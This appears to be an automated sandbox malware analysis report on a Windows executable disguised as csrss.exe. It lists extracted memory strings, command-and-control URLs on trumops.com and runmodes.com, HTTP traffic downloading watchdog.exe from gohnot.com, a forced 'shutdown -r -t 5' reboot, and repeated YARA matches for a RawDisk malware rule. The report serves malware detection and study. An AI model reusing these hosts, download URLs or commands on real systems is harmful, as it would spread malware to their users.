Source: csrss.exe	String found in binary or memory: .30 Version/10.61facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)tls: received unexpected handshake message of type %T when waiting for %TBlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103Mozilla/5.0 (Windows NT equals www.facebook.com (Facebook)
Source: csrss.exe	String found in binary or memory: lla/5.0 (compatible; Konqueror/3.3; Linux 2.6.8-gentoo-r3; X11;facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)2695994666715063979466701508701962594045780771442439172168272236806126959946667150639794667015087019630673557916260026308143510066 equals www.facebook.com (Facebook)

Source: csrss.exe	String found in binary or memory: http://archive.org/details/archive.org_bot)Mozilla/5.0
Source: csrss.exe	String found in binary or memory: http://builtwith.com/biup)
Source: csrss.exe, 00000000.00000002.332681702.0000000004000000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.356609846.0000000004000000.00000040.00000001.sdmp	String found in binary or memory: http://crl.g
Source: csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.330460291.00000000009F9000.00000040.00020000.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355613322.00000000009F9000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.330460291.00000000009F9000.00000040.00020000.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355613322.00000000009F9000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.330460291.00000000009F9000.00000040.00020000.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355613322.00000000009F9000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: csrss.exe	String found in binary or memory: http://devlog.gregarius.net/docs/ua)Links
Source: csrss.exe	String found in binary or memory: http://gais.cs.ccu.edu.tw/robot.php)Gulper
Source: csrss.exe, 0000000B.00000002.581732565.00000000155E2000.00000004.00000001.sdmp	String found in binary or memory: http://gohnot.com/f007e85833f8db4f7f7d8560f2ed01cc
Source: csrss.exe, 0000000B.00000002.581291900.000000001550C000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000002.581732565.00000000155E2000.00000004.00000001.sdmp	String found in binary or memory: http://gohnot.com/f007e85833f8db4f7f7d8560f2ed01cc/watchdog.exe
Source: csrss.exe, 0000000B.00000003.474964390.00000000155E2000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000002.581732565.00000000155E2000.00000004.00000001.sdmp	String found in binary or memory: http://gohnot.com/f007e85833f8db4f7f7d8560f2ed01cc/watchdog.exeH0
Source: csrss.exe	String found in binary or memory: http://grub.org)Mozilla/5.0
Source: csrss.exe	String found in binary or memory: http://help.ya
Source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp	String found in binary or memory: http://https://_bad_pdb_file.pdb
Source: csrss.exe	String found in binary or memory: http://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna:
Source: csrss.exe	String found in binary or memory: http://misc.yahoo.com.cn/he
Source: csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp	String found in binary or memory: http://newscommer.com/app/app.exe
Source: csrss.exe	String found in binary or memory: http://search.msn.com/msnb
Source: csrss.exe	String found in binary or memory: http://search.msn.com/msnbot.htm)msnbot/1.1
Source: csrss.exe	String found in binary or memory: http://search.msn.com/msnbot.htm)net/http:
Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)pkcs7:
Source: csrss.exe	String found in binary or memory: http://www.alexa.com/help/webmasters;
Source: csrss.exe	String found in binary or memory: http://www.archive.org/details/archive.org_bot)Opera/9.80
Source: csrss.exe	String found in binary or memory: http://www.avantbrowser.com)MOT-V9mm/00.62
Source: csrss.exe	String found in binary or memory: http://www.baidu.com/search/spide
Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.htm)MobileSafari/600.1.4
Source: csrss.exe	String found in binary or memory: http://www.bloglines.com)F
Source: csrss.exe	String found in binary or memory: http://www.everyfeed.c
Source: csrss.exe	String found in binary or memory: http://www.exabot.com/go/robot)Opera/9.80
Source: csrss.exe	String found in binary or memory: http://www.google.com/adsbot.html)Encountered
Source: csrss.exe	String found in binary or memory: http://www.google.com/bot.html)Mozilla/5.0
Source: csrss.exe	String found in binary or memory: http://www.google.com/bot.html)tls:
Source: csrss.exe	String found in binary or memory: http://www.google.com/feedfetcher.html)HKLM
Source: csrss.exe	String found in binary or memory: http://www.googlebot.com/bot.html)Links
Source: csrss.exe	String found in binary or memory: http://www.spidersoft.com)Wget/1.9
Source: csrss.exe	String found in binary or memory: http://yandex.com/bots)Opera/9.51
Source: csrss.exe	String found in binary or memory: http://yandex.com/bots)Opera/9.80
Source: csrss.exe	String found in binary or memory: https://blockchain.infoindex
Source: csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	String found in binary or memory: https://logs.trumops.com
Source: csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	String found in binary or memory: https://logs.trumops.comhttps://runmodes.com/api/loghttps://server1.trumops.comC:
Source: csrss.exe	String found in binary or memory: https://raw.githubusercontent.com/spesmilo/electrum/master/electrum/servers.jsontls:
Source: csrss.exe, 00000000.00000002.336015322.000000001540A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.361974234.0000000015452000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	String found in binary or memory: https://retoti.com
Source: csrss.exe	String found in binary or memory: https://retoti.comidentifier
Source: csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	String found in binary or memory: https://runmodes.com/api/log
Source: csrss.exe, 0000000B.00000003.476986558.00000000154D2000.00000004.00000001.sdmp	String found in binary or memory: https://runmodes.com/api/logfd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1.uuid.trumops.comMicrosoft
Source: csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000003.473478727.0000000015737000.00000004.00000001.sdmp	String found in binary or memory: https://server1.trumops.com
Source: csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	String found in binary or memory: https://server1.trumops.com/api/pollx
Source: csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	String found in binary or memory: https://server1.trumops.com/api/pollxeserver1.trumops.com
Source: csrss.exe, 0000000B.00000003.473478727.0000000015737000.00000004.00000001.sdmp	String found in binary or memory: https://server1.trumops.comc=46ef84abf2b294f6&uuid=server1.trumops.com:443server1.trumops.com:443tcp
Source: csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	String found in binary or memory: https://server1.trumops.comserver1.trumops.com:443server1.trumops.com:443
Source: csrss.exe	String found in binary or memory: https://sitescore.aiValue
Source: csrss.exe, 00000000.00000002.336015322.000000001540A000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.336083257.000000001540E000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.361974234.0000000015452000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.com
Source: csrss.exe	String found in binary or memory: https://trumops.com/api/install-failureinvalid
Source: csrss.exe, 00000000.00000002.336083257.000000001540E000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comServiceVersionServiceVersionServersVersionServersVersionDistributorIDCampaignIDOS
Source: csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comhttps://retoti.comGlobal
Source: csrss.exe, 00000000.00000002.336133093.0000000015414000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comhttps://retoti.comS-1-5-21-3853321935-2125563209-4053062332-1002
Source: csrss.exe, 00000002.00000002.361974234.0000000015452000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comhttps://retoti.comServiceVersionServersVersionDistributorIDCampaignIDOSCaptionMic
Source: csrss.exe, 00000000.00000002.336015322.000000001540A000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comFirstInstallDateFirstInsta
Source: csrss.exe, 00000002.00000002.362022770.0000000015458000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000003.476986558.00000000154D2000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comS-1-5-21-3853321935-212556
Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: https://trumops.comif-unmodified-sinceillegal
Source: csrss.exe	String found in binary or memory: https://turnitin.com/robot/crawlerinfo.html)gentraceback

Source: unknown

HTTP traffic detected: POST /api/log HTTP/1.1Host: runmodes.comUser-Agent: Go-http-client/1.1Content-Length: 144Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip

Source: unknown

DNS traffic detected: queries for: trumops.com

Source: global traffic	HTTP traffic detected: GET /api/cdn?c=46ef84abf2b294f6&uuid=fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1 HTTP/1.1Host: server1.trumops.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /f007e85833f8db4f7f7d8560f2ed01cc/watchdog.exe HTTP/1.1Host: gohnot.comUser-Agent: Go-http-client/1.1Uuid: fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1Version: 183Accept-Encoding: gzip

Source: csrss.exe, 00000000.00000002.331381739.0000000003A00000.00000004.00000001.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Uses shutdown.exe to shutdown or reboot the system

Show sources

Source: C:\Windows\rss\csrss.exe

Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 5

Source: csrss.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 41.2.csrss.exe.4aaa8d0.9.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 0.2.csrss.exe.9a56e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.2.csrss.exe.9a56e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 11.2.csrss.exe.9ab080.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 27.3.csrss.exe.5359a80.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 11.3.csrss.exe.53540e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 2.3.csrss.exe.535bce0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 44.3.csrss.exe.5359a80.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.2.csrss.exe.4aa4f30.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 27.3.csrss.exe.53540e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.3.csrss.exe.535bce0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 11.2.csrss.exe.4aaa8d0.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.2.csrss.exe.9ad2e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 41.2.csrss.exe.4aa4f30.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 2.2.csrss.exe.9a56e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 44.2.csrss.exe.9ab080.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 27.3.csrss.exe.535bce0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 11.3.csrss.exe.5359a80.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 41.2.csrss.exe.9a56e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.2.csrss.exe.9a56e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 44.3.csrss.exe.53540e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 27.2.csrss.exe.9ab080.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 27.2.csrss.exe.4aa4f30.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 41.3.csrss.exe.53540e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 44.2.csrss.exe.4aaa8d0.9.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.2.csrss.exe.9ad2e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 11.2.csrss.exe.9a56e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 44.3.csrss.exe.535bce0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 27.2.csrss.exe.4aaa8d0.9.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 27.2.csrss.exe.9a56e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 2.2.csrss.exe.4aaa8d0.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 41.3.csrss.exe.535bce0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.3.csrss.exe.53540e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 2.2.csrss.exe.9ad2e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 2.2.csrss.exe.4aa4f30.9.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 41.3.csrss.exe.5359a80.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 0.3.csrss.exe.53540e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 0.2.csrss.exe.4aa4f30.9.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 44.2.csrss.exe.9ad2e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 0.2.csrss.exe.4aaa8d0.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.2.csrss.exe.4aa4f30.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 11.2.csrss.exe.4aa4f30.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 44.2.csrss.exe.4aa4f30.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.2.csrss.exe.4aaa8d0.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
